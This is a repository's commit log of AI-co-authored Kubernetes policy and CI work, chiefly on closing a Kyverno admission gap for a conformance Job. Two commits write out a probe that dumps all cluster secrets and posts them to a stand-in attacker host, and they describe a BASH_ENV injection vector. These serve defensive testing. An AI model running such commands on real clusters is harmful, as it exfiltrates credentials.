22c94efffff7782c0fbbe2eeb7a7a2f9b153ada7
18
Commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
  jakman85andClaude Opus 5
|
f6e8fb1fee |
fix(sec): the trigger policy read containers and nothing else — initContainers, ephemeralContainers and env were all open
Authorised by the coordinator in this PR, reversing the brief's "do not touch the policy": the
ban existed to stop the boundary being BENT to fit a Job, not to stop a hole being closed.
MEASURED before this change (kyverno v1.19.0, pinned toolbox), `containers[0]` fully compliant,
`serviceAccountName: conformance-runner`:
* a `privileged: true` `docker.io/library/alpine:latest` initContainer running
`kubectl get secrets -A` -> pass: 3, fail: 0 ADMITTED
* the committed template with ONLY the init container's args swapped for
`kubectl get secrets -A | curl -X POST ... http://evil.invalid/`
-> pass: 3, fail: 0 ADMITTED
Every rule read `spec.template.spec.containers` (rule 1's pattern, rule 3's
`containers[0].args`) or `volumes` (rule 2). `=(privileged): "false"` only ever applied to
`containers[0]`. `ephemeralContainers` and `env` were equally unread.
Four new rules:
* trigger-initcontainers-must-be-the-committed-clone-step — at most ONE initContainer, on
the digest-pinned runner image, command ["/usr/local/bin/conformance-clone"], NO args,
non-root, no privilege escalation, not privileged.
* trigger-may-not-declare-ephemeral-containers.
* trigger-env-names-must-be-the-committed-set — `command` is pinned, so injection moves to a
variable the pinned command honours, and BASH_ENV alone is arbitrary code execution: bash
sources it before running a non-interactive script, and the runner's command IS one.
* trigger-may-not-use-envfrom — a whole Secret as env, whose keys are nowhere in the Job.
All use `deny` conditions, not a `pattern`. A Kyverno array pattern asserts "at least one
element matches", so a pattern-based init rule would have admitted the committed clone step
PLUS an arbitrary second init container — fixture `second-initcontainer` exists because I
nearly wrote it that way.
THE ACTUAL FIX IS THAT THE CLONE SCRIPT LEFT THE JOB. Pinning `command` is worthless when the
command is `/bin/bash -c` and the script arrives as `args`: a policy cannot distinguish the
committed script from an attacker's, because both are just data. The logic now lives in the
image at /usr/local/bin/conformance-clone, from `conformance/incluster/conformance-clone`
(agent 1, PR #18 — which must merge before this template is usable). I had written a second
copy of that script here and DELETED it: two copies of the clone entrypoint, one baked into
the image and one not, drifts into "the reviewed file is not the file that runs". I read
theirs first: the interface matches exactly (CONFORMANCE_GIT_SHA, GITEA_USERNAME/GITEA_TOKEN,
baked clone target /workspace/src — which is what makes workingDir correct — TMPDIR/HOME under
/workspace) and both load-bearing guards survived, the `^[0-9a-f]{40}$` SHA check and
`rev-parse HEAD == SHA`.
Env values and the `valueFrom` source Secret are deliberately NOT constrained: values are
legitimately environment-specific, and conformance-runner can already read this namespace's
Secrets via its own RBAC. Names are the vector, because a name is what a program keys on.
Two Kyverno traps, commented in the rules because both silently invert the result:
`not_null(x, `default`)` and never `||` (JMESPath treats `false` as falsy, so
`allowPrivilegeEscalation || `true`` rewrites the COMPLIANT value into a denial); and
`join(' ', command)` compared as a string, because Equals/NotEquals on arrays is unreliable
and element-wise matching lets `["/bin/sh","-c",...]` through on element 0.
ALSO: the committed `args` default was a shape that cannot run. Agent 1 measured that
`--layer all --strict-coverage` and a bare `--requirements <IDs>` fail on the runner image,
which ships no flux/promtool/kyverno/kustomize. Tracing run.sh gives the precise invariant —
`requirement_scoped_dirs()` is layer-bounded only when `--layer` is given and is not `all`,
and `offline_selected_dirs()` then filters to /l0-static/|/l1-rendering/ — so `--layer` is
mandatory and must name only l2/l3. Default changed from `--layer all --strict-coverage` to
`--layer l2,l3`, and the header now records that the plan's "PHASE EXIT: --layer all" shape
CANNOT run in-cluster: a full-suite run is CI's L0/L1 plus this Job's L2/L3. The policy's args
allowlist is deliberately NOT narrowed to match — a security boundary should not encode which
toolchain an image ships, and an allowed-but-unrunnable shape fails loudly rather than
escalating.
PROVEN, NOT ASSERTED (7 rules):
real rendered template -> pass: 7, fail: 0
coordinator's exact initContainer probe -> fail on trigger-initcontainers-... (6/1)
ephemeralContainers probe -> fail on trigger-may-not-declare-... (6/1)
Fixture matrix 65 pass / 13 fail / 0 error / 0 skip, full table in
decisions/2026-09-29-conformance-job-template.md. Every evil
init/ephemeral/env case still PASSES the three original rules — that column is the finding.
`injected-initcontainer-env` PASSES the initContainer rule and is hostile purely through env,
which is why env had to be its own rule.
UNVERIFIED: whether the API server accepts `ephemeralContainers` in a Job pod template at all.
Upstream the field is settable only via the pods/ephemeralcontainers subresource, but whether
that check reaches a nested pod template is not something I could establish without a
`create --dry-run=server`, a mutating request reserved to the operator (CLAUDE.md §5). Rule
added regardless: a no-op if upstream rejects it, the same hole if not.
Gate (toolbox): lint green (404 files), l0 green (kyverno test: 1 policy / 15 resources),
render-golden green (10), l1 green; spec-immutability + gitea-settings SKIPPED; MERGE GATE
UNDETERMINED rc 3. Nothing FAILED.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
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jakman85andClaude Opus 5
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6ef4def2b5 |
feat(conformance): the in-cluster Job can now run a named commit and get its results out
`conformance/incluster/chainsaw-job.yaml` was a skeleton: `workspace` was an empty
`emptyDir` with nothing to populate it, so the Job could never have run the suite at
all. Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 items 2 and 3.
The whole shape is dictated by a fail-closed Enforce policy
(platform/kyverno/admission/conformance-trigger-job-shape.yaml) that admits only
`workspace` and `results` as volume names. So:
* the read-only Gitea credential arrives as env from `secretKeyRef` on Secret
`conformance-git-readonly` -- by NAME only, no literal in the tree -- and reaches
`git` via an inline credential.helper that reads the environment, so the token is
never in argv and never on disk;
* `$TMPDIR` and `$HOME` are directories ON the `workspace` emptyDir, which keeps
`readOnlyRootFilesystem: true` without a third volume and without subPath mounts
(a kubelet-created subPath dir is root-owned 0755 and unwritable by the runner);
* `results` cannot be mounted at `conformance/_artifacts` -- that path is inside the
clone target and `git clone` refuses a non-empty target -- hence the new
`CONF_ARTIFACTS` override, honoured only when set.
The init container shallow-clones, fetches the exact commit if the shallow tip lacks
it, detaches onto it, and ASSERTS `HEAD` equals the requested SHA. The SHA must match
^[0-9a-f]{40}$, so an unrendered placeholder is a hard failure rather than a silent run
of whatever the branch tip was.
Results leave over stdout because the trigger identity has no pods/exec and admission
pins `command` to exactly ["./run.sh"], so nothing can wrap the suite. `run.sh` emits
them on an EXIT trap -- a failed run still ships its red JUnit -- between markers
carrying bytes, base64 line count and sha256 TWICE:
=== ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=.. bytes=.. lines=.. sha256=.. ===
`kubectl logs` is lossy and base64 decodes a truncated stream to plausible garbage, so
a collector that makes the five documented checks cannot mistake a partial log for a
complete artifact set. Verified locally: full decode round-trips; head-truncation,
tail-truncation, a dropped interior line and one corrupted character are each detected;
exit codes 0, an explicit 3 and a `set -e` abort all survive the trap with a matching
`rc=` in the envelope.
Admission proven with the pinned CLI rather than assumed -- `kyverno apply` on the
rendered template gives `pass: 3, fail: 0`, and negative controls on the SAME template
(a third volume; `command` wrapped in `/bin/sh -c`) each fail the expected rule. The
shape is now a `real-template` fixture so drift out of admission fails `make -C ci l0`.
FINDING, NOT FIXED HERE: that policy never reads `initContainers`. Measured -- the same
rendered template with only the init container's args replaced by
`kubectl get secrets -A | curl -X POST ... http://evil.invalid/` is ADMITTED (pass 3,
fail 0). The escalation the policy exists to stop is still reachable one field over, and
was before this Job had an init container. A security boundary changes in its own
reviewed PR, so it is documented in the manifest header and in
decisions/2026-09-29-conformance-job-template.md with the recommended 4th rule, not patched in beside the Job that must satisfy it.
UNVERIFIED: nothing here has executed. The `conformance-runner` image does not exist
(plan §3 item 1) and Secret `conformance-git-readonly` does not exist (item 6), so the
clone, the credential helper and the log transport are unexercised against a cluster.
`ci/conformance.sh` is untouched -- CI behaviour is unchanged by this branch.
Gate (toolbox, DEV_KUBECONFIG=/dev/null + .git bind-mount shim): lint/l0/render-golden/l1
green; spec-immutability, gitea-settings and conformance SKIPPED; MERGE GATE
UNDETERMINED, rc 3. Nothing FAILED.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
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jakman85andClaude Opus 5
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8eb5baffa4 |
feat(sec): constrain the conformance CI trigger at admission (R-SEC-02)
Implements the credential model the operator chose for wiring L2/L3 into CI: a narrow
trigger SA bounded by a fail-closed Kyverno admission policy, rather than the
zero-credential GitOps-native alternative (plan section 4, primary model).
THE ESCALATION THIS CLOSES. Kubernetes places NO `use` check on a Job's
serviceAccountName. Any principal that can `create jobs` in ns conformance can create a Job
running as conformance-runner -- nodes/patch, pods/exec, namespaces/patch -- with an
arbitrary command. A CI token with plain `create jobs` IS that privileged identity no matter
how narrow its own Role looks. RBAC cannot fix this; only constraining the SHAPE of what the
trigger may create can.
Adds:
* SA/Role/RoleBinding conformance-trigger -- create+get+list+watch jobs, get pods and
pods/log, nothing else. Namespaced. No delete (a trigger that can delete can hide a
failed run), no exec, no secrets. Results come back as a tarball on stdout read via
pods/log, so no execution channel into the runner pod is ever granted.
* ClusterPolicy conformance-trigger-job-shape -- Enforce, failurePolicy: Fail. It does NOT
use ${KYVERNO_VALIDATION_ACTION}: a security boundary an overlay can downgrade to Audit
is not a boundary. It constrains ONLY conformance-trigger, so a mistake here cannot wedge
the rest of the cluster.
* Flux Kustomization `conformance` -> ./conformance/incluster, wait:false and non-gating
like apps-vms, so a test identity can never stall the platform or app tiers.
* A kyverno test with seven cases, six of them real escalation paths.
VERIFIED by `kyverno apply` (pass: 10, fail: 6, error: 0), not assumed:
evil-command DENIED at /spec/template/spec/containers/0/command/ <- THE attack
evil-image DENIED at .../image/
tag-not-digest DENIED at .../image/ (mutable tag is republishable)
host-namespaces DENIED at /spec/template/spec/hostPID/
extra-volume DENIED by the volumes foreach
injected-args DENIED by the args foreach
good-run ADMITTED
ALSO FIXES A FAIL-OPEN IN THE GATE ITSELF. `kyverno test` does NOT fail when a policy cannot
LOAD: every row becomes "Skip / Invalid Policy" and it still prints "N tests passed" and
exits 0. Measured while writing this policy -- a schema error (subjects in a separate
match.all entry from resources) produced exactly that, and ci/l0.sh would have certified a
security policy that does not load as green. This is not specific to this policy: a typo in
restrict-host-namespaces or secret-provenance would silently disable it with the gate still
green. ci/l0.sh now scans for "Invalid Policy" and fails. Proven: broken policy -> l0 rc=1,
restored -> rc=0.
IMAGE PINNING, HONEST LIMIT: the plan specifies pinning the exact runner image digest. That
image does not exist yet, so this enforces the enforceable half -- the image must be under
the conformance repository path AND digest-pinned, never a mutable tag. Residual surface:
anyone who can PUSH to that path could publish a different digest. Tighten to the literal
digest when the image is built; it is a one-line change to the pattern, reviewed in a PR,
which is where a change to a security boundary belongs.
NOT YET WIRED, deliberately: no runner image, no trigger kubeconfig, no CLUSTER_AVAILABLE.
The identities here are inert until those exist, and PR #12 makes CLUSTER_AVAILABLE=true
block rather than fake a green in the meantime.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
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jakman85andClaude Opus 5
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f178d85c71 |
fix(kyverno): unblock CDI imports by SATISFYING the label requirement, not exempting it
Prod's UniFi VM has no disk. `DataVolume unifi/unifi-rootdisk` stuck in
ImportScheduled for hours, because Kyverno denied CDI's own generated pod:
validate.kyverno.svc-fail denied Pod/unifi/importer-prime-<uid>
require-auth-mode-label (R-IDP-02)
require-egress-class-label (R-NET-05)
Both policies match any Pod in an `app-namespace: "true"` namespace with no
exclusion, and CDI generates `importer-*` itself — it cannot carry repo labels.
A COLD-START defect, not a prod quirk: dev's identical import Succeeded 9 days
ago, before the policies enforced, so dev has never exercised it and would hit it
on any rebuild. Fourth bug of this shape in two days.
MECHANISM: a MUTATE ClusterPolicy that ADDS
`egress-class: internet` + `auth-mode: none` (add-if-absent anchor) to Pods on
CREATE in app namespaces WHEN the requesting subject is ServiceAccount
`cdi/cdi-sa`. Both validate policies are untouched — no exclude, no exception,
`background: true` preserved on them.
Why mutate beats exempting: the requirement stays literally true ("every pod in an
app namespace declares both labels") and the values are HONEST — the importer does
pull over the default WAN path, and `internet` is the least-reach class (it does
not grant the VPN path); a transient worker pod with no UI genuinely is
`auth-mode: none`.
THE MATCH IS IDENTITY, NOT A NAME. `subjects: ServiceAccount cdi/cdi-sa` is the
AdmissionReview userInfo, taken from the real prod denial
(`system:serviceaccount:cdi:cdi-sa`, name importer-prime-…, op CREATE). A name
prefix is attacker-choosable; a requesting ServiceAccount is not — and the test
proves it, with a fixture `importer-prime-forged-by-an-app` that copies both the
name prefix AND CDI's labels and is still DENIED. Covers every CDI worker kind
(importer/uploader/cloner) without enumerating names that change per release.
Confirmed on prod that cdi-sa is the only cdi-namespace SA that can create pods.
REJECTED, and the first one is a trap worth recording:
* PolicyException — the CRD EXISTS (v2/v2beta1, from the pre-applied bundle) but
all controllers run `--enablePolicyException=false` (verified live on prod:
admission, background and reports controllers all carry the flag). An exception
would apply cleanly through Flux and be SILENTLY IGNORED. Enabling the gate is a
cluster-wide capability change for no gain over the mutate.
* `exclude` scoped to cdi-sa — sound identity, worse consequences: any userInfo
match forces `background: false`, which would drop background scanning and
policy-report coverage of R-NET-05/R-IDP-02 for ALL EXISTING PODS to fix one pod
class. It also leaves the importer with no labels at all — the unlabelled
fall-through that require-egress-class-label's own header calls a fail-open leak.
* name-prefix / CDI-label matching — attacker-choosable, and proven walkable.
TWO-WAY PROOF, non-vacuous by construction — same resource, different requester,
opposite outcomes (verified by me, not just reported):
userinfo cdi-sa -> mutate pass, require-egress-class pass, require-auth-mode pass
userinfo ordinary -> mutate SKIP, require-egress-class FAIL, require-auth-mode FAIL
Kyverno L0 went 17 -> 29 tests passed, 0 failed. The mutate policy is deliberately
kept OUT of the existing tests/kyverno-test.yaml: that suite declares no userinfo,
and without userinfo the offline engine does not discriminate on subjects — it
mutates everything, which would have silently turned its negative rows into passes.
platform-config/kustomization.yaml is the live apply path for these ClusterPolicies;
without it the policy never reaches a cluster.
RESIDUAL TRADE-OFF, reversible by deleting one file: anything created by cdi-sa in
an app namespace now has these labels supplied rather than being rejected for not
declaring them — including a pod that is not a CDI worker. That identity already
holds `pods create/delete` cluster-wide via ClusterRole `cdi`, so it is not a new
capability; what changes is that for that one identity the declaration is assumed
rather than demanded. restrict-host-namespaces, the namespace default-deny baseline
and the CiliumNetworkPolicies all still apply.
FIRST resource-mutating policy on this cluster: kyverno-resource-mutating-webhook-cfg
holds 0 webhooks today; with autoUpdateWebhooks=true Kyverno registers
mutate.kyverno.svc-fail for Pods within seconds of this applying. Prod's
forceFailurePolicyIgnore=false makes it failurePolicy: Fail — same posture as the
validating webhook already in that path.
CDI retries importer creation on a loop, so the stuck import should proceed once
this lands. The detached prime-be3f9d1c-… 40 GiB scratch PVC is separate operator
cleanup; untouched, as is the DataVolume.
VERIFIED: full CI gate PASS. Nothing applied to any cluster.
Refs R-IDP-02, R-NET-05, R-PLAT-01.
Co-Authored-By: Claude Opus 5 <[email protected]>
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jakman85andClaude Opus 4.8
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22db5fdb63 |
kyverno: 3.3/v1.13 -> 3.9/v1.19 (stay-current) + CLI lockstep
- HR chart 3.3.x -> 3.9.x (Kyverno v1.13.6 -> v1.19.0). - crds.install:false + CRDs pre-applied server-side (5.7 MB bundle exceeds kubectl's 256 KB annotation limit; Helm client-side apply would stall the platform Kustomization, kps-style). - CLI lockstep (ci/conformance/devcontainer versions.env + run-l0.sh default) -> 1.19.0. Pre-verified: v1.19.0 kyverno CLI passes the L0 suite 17/17 with the existing test format. - Policies are kyverno.io/v1 ClusterPolicy (stable API, unchanged in v1.19). Co-Authored-By: Claude Opus 4.8 <[email protected]> |
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jakman85andClaude Opus 4.8
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28a34c4477 |
fix(kyverno): raise admission-controller resources + dev replicas 2 to stop fail-closed crashloop/502s
Admission controller was crashlooping (9 restarts/4h, exit 255, NOT OOM: live usage ~65Mi/384Mi limit, 7m cpu). Root cause: chart-default 100m CPU request starved the process under node contention, so client-go calls hit context-deadline-exceeded, leader-election lease renewal timed out, leadership was lost and the webhook server closed. Raise the CPU request to 250m (no CPU limit, to avoid CFS throttling) with modest memory headroom (256Mi/512Mi), and raise dev admission replicas 1->2 so a single fail-closed pod restart no longer 502s cluster-wide admission-gated writes. Co-Authored-By: Claude Opus 4.8 <[email protected]> |
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jakman85andClaude Opus 4.8
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1b0848c224 |
fix(kyverno): correct default-deny-shape to require both Ingress+Egress via deny.conditions (scalar-array pattern was inverted)
Co-Authored-By: Claude Opus 4.8 <[email protected]> |
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jakman85andClaude Opus 4.8
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08113ccfbb |
ci(l0): fix kyverno test expectations for CLI 1.13.4; pin kyverno-json 0.0.3
The offline `kyverno test` CLI cannot resolve the Flux postBuild token
${KYVERNO_VALIDATION_ACTION} in validationFailureAction, so the 4 policies
carrying it failed to load and their result rows reported "Not found" (14/17
cases). Render a throwaway copy of platform/kyverno with the base/prod value
(Enforce) before `kyverno test` in both ci/l0.sh and scripts/run-l0.sh; this
does not change in-cluster enforcement.
Add tests/values.yaml supplying Namespace labels so the offline CLI resolves
namespaceSelector matches -- without it the R-SEC-02/R-NET-05/R-IDP-02 Pod
cases were silently EXCLUDED (vacuous), not evaluated.
Pin kyverno-json 0.0.3 in ci/versions.env (0.0.5 has no upstream release;
0.0.3 is what run-l0.sh and the devcontainer already use).
Co-Authored-By: Claude Opus 4.8 <[email protected]>
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jakman85andClaude Opus 4.8
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aafb4ca378 |
docs(vpn-egress): reflect ADR-0015 node-tunnel egress, retire gluetun narrative
The in-cluster Gluetun gateway is retired; VPN egress is now a node-level host OpenVPN split-tunnel (Ansible role vpn_egress_gateway) steered by a Cilium Egress Gateway policy with a host nftables kill-switch (ADR-0015). Credentials moved host-side to the Ansible vault. Update docs/comments only: - platform/vpn-egress/README.md: rewrite for ADR-0015 (live + conformance-green); drop the resolved "option 1 not viable with Gluetun" finding to a brief history note. - platform/kustomization.yaml: Phase 3 comment -> node tunnel + Cilium steering. - platform/kyverno/.../require-egress-class-label.yaml: ADR-0013 -> ADR-0015 steering. - schemas/servicedefinition.schema.json: egress=vpn description -> node tunnel + Cilium. - clusters/base/cluster-vars.yaml: reframe PIA_REGION / CLUSTER_POD_CIDR WHY comments to ADR-0015 (Cilium excludedCIDRs); both keys retained (still referenced/documented). - platform/vpn-egress/namespace.yaml: no privileged gateway pod under ADR-0015. - pia-credentials.sops.yaml / pia-custom-ovpn.sops.yaml: comment headers only note they are now UNUSED (creds host-side), retained pending cleanup; payloads untouched. No runtime manifest behavior, alert exprs, kustomization resources, or SOPS payloads changed. No spec-repo edits. Co-Authored-By: Claude Opus 4.8 <[email protected]> |
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jakman85andClaude Opus 4.8
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5521059c04 |
fix(kyverno): replace purged bitnami/kubectl cleanup image with bitnamilegacy
The kyverno chart's cleanup jobs (policyReportsCleanup, webhooksCleanup) default to bitnami/kubectl:1.30.2, which Bitnami removed from Docker Hub (2024 catalog purge) -> ImagePullBackOff. policyReportsCleanup is a Helm post-upgrade HOOK, so its failure stalls every helm upgrade (5m timeout -> HelmRelease not-Ready -> platform Kustomization blocked -> platform-config/apps cascade). Override both to Bitnami's relocated bitnamilegacy/kubectl (identical image: /bin/bash + awk/wc/xargs + kubectl). Verified via helm template that no bitnami/kubectl reference remains. Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]> |
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jakman85andClaude Opus 4.8
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c6331c84bf |
fix(kyverno): correct chart webhook schema (map + forceFailurePolicyIgnore)
Kyverno HelmRelease install failed at Helm templating: config.webhooks was a
LIST [{failurePolicy, namespaceSelector}], but the kyverno 3.3.9 chart expects
config.webhooks to be a MAP (webhooks.namespaceSelector) — the chart helper reads
.namespaceSelector off the value directly ('can't evaluate field namespaceSelector
in type []interface {}'). Also, failurePolicy is not a per-webhook field here; the
chart's global switch is config.forceFailurePolicyIgnore.enabled (bool).
Fix: config.webhooks -> map with namespaceSelector (system+platform excludes);
add config.forceFailurePolicyIgnore.enabled = ${KYVERNO_FORCE_FAILURE_POLICY_IGNORE}.
Renamed the cluster-var KYVERNO_WEBHOOK_FAILURE_POLICY (Fail/Ignore) ->
KYVERNO_FORCE_FAILURE_POLICY_IGNORE (false base / true dev). Verified with
helm template (renders 73 objects, no error); gate PASS.
Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
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jakman85andClaude Opus 4.8
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ca982864fc |
fix(platform): controllers/configs split so CRDs precede their CRs
Un-suspend deadlocked: the single platform Kustomization applies HelmReleases
(which register CRDs) AND custom resources of those CRDs (ClusterIssuer,
Certificate, Kyverno ClusterPolicies) in ONE pass. Flux's server-side apply
fails atomically ('no matches for kind ClusterIssuer') → nothing installs, so
the CRD-registering HelmReleases never run either. Classic ordering deadlock.
Fix (flux2 controllers/configs pattern, applies to dev+prod equally — no
R-ENV-02 divergence): add a platform-config Flux Kustomization (dependsOn
platform, wait) carrying the CRs; platform keeps only the controllers.
- New clusters/base/platform-config.yaml (path ./platform-config, substituteFrom
cluster-vars, no decryption — no SOPS content); wired into base + apps now
dependsOn platform-config (transitively waits for platform).
- platform-config/ references the CR files IN PLACE via ../platform/... (Flux
builds LoadRestrictionsNone; Kyverno policies must stay under platform/kyverno/
for the CI L0 gate). CR resources dropped from the platform
component kustomizations (cert-manager, gateway, kyverno).
- Authored the missing Cilium L2 resources (were only a TODO): CiliumLoadBalancerIPPool
(dev NAT 10.73.0.240-.250) + CiliumL2AnnouncementPolicy (ens*), so Gateway
LoadBalancer listeners get a VIP. Prod range must be parameterized later.
Verified: platform build has zero CRs; platform-config build has 2 ClusterIssuers,
6 ClusterPolicies, Certificate, Gateway, both Cilium L2 CRs; dev/prod build; gate PASS.
Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
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jakman85andClaude Opus 4.8
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d9a80e5350 |
phase2-prep: per-component no-secret rollout + component hardening (author-first)
Prep only — nothing deployed; running cluster untouched. Reconciliation graph (operator-approved Option A): author clusters/dev/rollout/ = 4 per-component Flux Kustomizations (kyverno->cilium->longhorn->monitoring, monitoring dependsOn longhorn). Dev overlay $patch:delete's the monolithic base platform/apps and adds ./rollout, so only the no-secret tier reconciles; the secret-blocked components are simply not created until hand-offs arrive. The no-secret tier carries no SOPS content, so it needs no sops-age key. prod is untouched (still builds the monolith). Convergence path coded in (delete rollout/ + the two deletes) — R-ENV-02 divergence flagged for architect review. Component hardening via cluster-vars (prod keeps strict posture): - KYVERNO_VALIDATION_ACTION Enforce->Audit(dev), _WEBHOOK_FAILURE_POLICY Fail->Ignore(dev), _ADMISSION_REPLICAS 3->1(dev); webhook namespaceSelector excludes system+platform namespaces. - MONITORING_STORAGE_CLASS var; GRAFANA_ADMIN_SECRET var (dev ''=chart default); Alertmanager SMTP/secret deferred to Phase-4 with verbatim re-enable markers. Cilium parity verified against the live CNI (no-op adopt). Validated: kubectl kustomize dev/prod/all-components, envsubst->YAML parse, make -C ci gate PASS. Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]> |
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jakman85andClaude Opus 4.8
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8c1368977e |
Phase 0 clarification follow-ups + reconcile CI integration seams
Adopt the spec's Phase-0 clarifications (spec now at pin a7fc19f) into the impl: - schema v1.1: enforce exposure:public => auth.mode!=none (positive+negative tested). - Kyverno: add longhorn=>size and longhorn=>NOT-reacquirable invariants (R-STATE-02/03). - Ratify the homelab.keithjackson.dev/* label-key convention (now in spec docs/03). - R-TEST-06 spec-immutability gate: ci/SPEC_PIN + ci/spec-immutability.sh + gate.sh stage + Makefile target + a Gitea job (checks spec repo clean & at pin). - touched-requirements.sh: conformance tags are the authoritative source. Reconcile 3 CI seams the CI worker flagged (gate was RED, now GREEN): - create schemas/validate.sh (SCHEMA_VALIDATE_CMD entrypoint) — L0 schema gate runs. - fix l1.sh/conformance.sh to run.sh's real interface (fixed _artifacts/ paths; no --junit/--coverage) and collect artifacts. - exec bits on new scripts. make -C ci gate => PASS (l0 skips locally w/o kyverno binary; green in CI). Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]> |
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jakman85andClaude Opus 4.8
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428361f8c5 |
fix(platform): make kyverno bundle build; defer render to Phase 2 (T-2.7)
The prior integration commit enabled kyverno in the platform render, but (a) the admission bundle used ../policies refs that fail default kustomize load restrictions, and (b) admission enforcement is Phase 2 (T-2.7), not Phase 0. Fix: platform/kyverno/kustomization.yaml now lists resources with downward paths (builds standalone); platform/kustomization.yaml re-defers kyverno with a Phase-2 note. All Phase-0 gates green: kustomize (platform, platform/kyverno, dev), schema validation, conformance scaffold. Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]> |
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jakman85andClaude Opus 4.8
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587201317b |
PM integration: wire platform/kyverno into the platform render
Add platform/kyverno/kustomization.yaml (renders the admission enforcing bundle) and enable the kyverno component in platform/kustomization.yaml (first, so admission policies precede other components). kustomize build verified. Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]> |
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jakman85andClaude Opus 4.8
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bb2e9fc931 |
T-0.5 Kyverno L0 policies + CLI tests + admission scaffolding (R-TEST-01, R-NET-01, R-SEC-01/02, R-IDP-02, R-GITOPS-02)
Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]> |
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jakman85andClaude Opus 4.8
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253b6600f4 |
Initial skeleton: home-network-k3s implementation repo
Phase 0 foundation shell (read-only spec at ../home-network-k3s). Top-level tree + rules; workstream agents fill their subtrees on feature branches. Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]> |